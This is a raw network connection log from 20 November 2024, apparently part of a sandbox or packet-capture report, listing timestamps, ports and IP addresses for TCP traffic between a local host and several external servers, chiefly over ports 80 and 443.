Nov 20, 2024 18:57:48.710042000 CET	49863	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:48.710056067 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.710062981 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.710093975 CET	49863	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:48.755275965 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.755286932 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.755326033 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.755372047 CET	49863	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:48.755384922 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.755475998 CET	49863	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:48.794320107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.794436932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.794466972 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.794483900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.794686079 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.794764042 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.794807911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.795495987 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.795556068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.795593977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.795593977 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.796327114 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.796391010 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.796391010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.796433926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.797203064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.797257900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.797276974 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.797316074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.797972918 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.798034906 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.798060894 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.798101902 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.798768044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.798830032 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.798882961 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.798926115 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.799571037 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.799631119 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.799726963 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.799789906 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.800384998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.800441980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.800513983 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.800647020 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.801275015 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.801310062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.801327944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.801457882 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.802011013 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.802109957 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.802130938 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.802179098 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.802809000 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.802889109 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.802936077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.803649902 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.803693056 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.803695917 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.803734064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.804470062 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.804554939 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.804584980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.804598093 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.805263996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.805351973 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.805380106 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.805422068 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.806068897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.806124926 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.806145906 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.806189060 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.806901932 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.806952953 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.806958914 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.806989908 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.807771921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.807832003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.807941914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.808243036 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.808543921 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.808685064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.808732986 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.809376955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.809468985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.809515953 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.810245991 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.810302019 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.810456038 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.810556889 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.811058998 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.811077118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.811119080 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.811753988 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.811820984 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.811867952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.811909914 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.812582016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.812640905 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.812702894 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.812799931 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.813410044 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.813472033 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.813478947 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.813519955 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.814166069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.814229965 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.814251900 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.814291954 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.815469980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.815481901 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.815526962 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.815826893 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.815881968 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.815905094 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.815943956 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.816668034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.816705942 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.816714048 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.816746950 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.817471981 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.817533016 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.817590952 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.817632914 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.818274021 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.818326950 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.818342924 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.818366051 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.819067001 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.819127083 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.819158077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.819386005 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.819880962 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.819967985 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.820004940 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.820014954 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.820700884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.820755959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.820768118 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.820795059 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.821497917 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.821559906 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.821609020 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.821719885 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.822343111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.822427034 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.822484016 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.822524071 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.823209047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.823221922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.823273897 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.823935986 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.824001074 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.824022055 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.824067116 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.824752092 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.824820995 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.824899912 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.824992895 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.825568914 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.825618982 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.825680971 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.825721979 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.826487064 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.826539040 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.826567888 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.827027082 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.827200890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.827244997 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.827442884 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.827496052 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.827970982 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.828005075 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.828016043 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.828041077 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.828808069 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.828866005 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.828915119 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.829596996 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.829660892 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.829699039 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.829744101 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.830471992 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.830539942 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.830544949 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.830585003 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.831335068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.831408024 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.831408978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.831448078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.832077980 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.832140923 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.832180977 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.832228899 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.832895041 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.832953930 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.833058119 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.833102942 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.833784103 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.833854914 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.833916903 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.834028959 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.834490061 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.834554911 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.834594011 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.834640980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.835305929 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.835385084 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.835427046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.835448027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.836160898 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.836210012 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.836461067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.836461067 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.837353945 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:48.837430000 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:48.877187967 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.877208948 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.877278090 CET	49863	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:48.877306938 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.877496958 CET	49863	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:48.889293909 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.889353037 CET	49863	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:48.889367104 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.889415979 CET	49863	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:48.890247107 CET	49863	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:48.890266895 CET	443	49863	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.890865088 CET	49876	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:48.890888929 CET	443	49876	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.890993118 CET	49876	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:48.891603947 CET	49876	443	192.168.2.6	13.107.246.40
Nov 20, 2024 18:57:48.891617060 CET	443	49876	13.107.246.40	192.168.2.6
Nov 20, 2024 18:57:48.933459044 CET	49877	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:48.933487892 CET	443	49877	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:48.935199976 CET	49877	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:48.935466051 CET	49877	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:48.935480118 CET	443	49877	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:48.953387022 CET	49850	443	192.168.2.6	23.44.203.27
Nov 20, 2024 18:57:48.961824894 CET	443	49866	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:48.961884022 CET	443	49866	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:48.962007046 CET	49866	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:48.963258982 CET	49866	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:48.963274956 CET	443	49866	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:48.963284016 CET	49866	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:48.963289976 CET	443	49866	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:48.970343113 CET	49880	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:48.970367908 CET	443	49880	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:48.970424891 CET	49880	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:48.972693920 CET	49880	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:48.972703934 CET	443	49880	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:48.999330997 CET	443	49850	23.44.203.27	192.168.2.6
Nov 20, 2024 18:57:49.000443935 CET	443	49870	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.004399061 CET	49870	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.004420996 CET	443	49870	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.004949093 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.005000114 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.005002022 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.005038023 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.005163908 CET	49870	443	192.168.2.6	13.107.246.63
Nov 20, 2024 18:57:49.005168915 CET	443	49870	13.107.246.63	192.168.2.6
Nov 20, 2024 18:57:49.005278111 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.005321980 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.005381107 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.005429983 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.006113052 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.006150961 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.006175995 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.006216049 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.006938934 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.006990910 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.007042885 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.007085085 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.007761955 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.007812023 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.007869959 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.007922888 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.008544922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.008585930 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.008599043 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.008639097 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.009352922 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.009399891 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.009459972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.009545088 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.010169029 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.010240078 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.010267019 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.010304928 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.010989904 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.011059046 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.011113882 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.011172056 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.011816978 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.011859894 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.011930943 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.011966944 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.012592077 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.012636900 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.012726068 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.012768984 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.013391972 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.013436079 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.013605118 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.013645887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.014215946 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.014307022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.014333010 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.014373064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.015022993 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.015063047 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.015068054 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.015105963 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.015826941 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.015877008 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.015923023 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.016247988 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.016633034 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.016738892 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.016788006 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.017479897 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.017524958 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.017571926 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.017633915 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.018282890 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.018341064 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.018347025 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.018385887 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.019078970 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.019136906 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.019172907 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.019233942 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.019886017 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.019951105 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.019996881 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.020037889 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.020711899 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.020771027 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.020801067 CET	80	49794	185.215.113.206	192.168.2.6
Nov 20, 2024 18:57:49.020838022 CET	49794	80	192.168.2.6	185.215.113.206
Nov 20, 2024 18:57:49.021523952 CET	80	49794	185.215.113.206	192.168.2.6
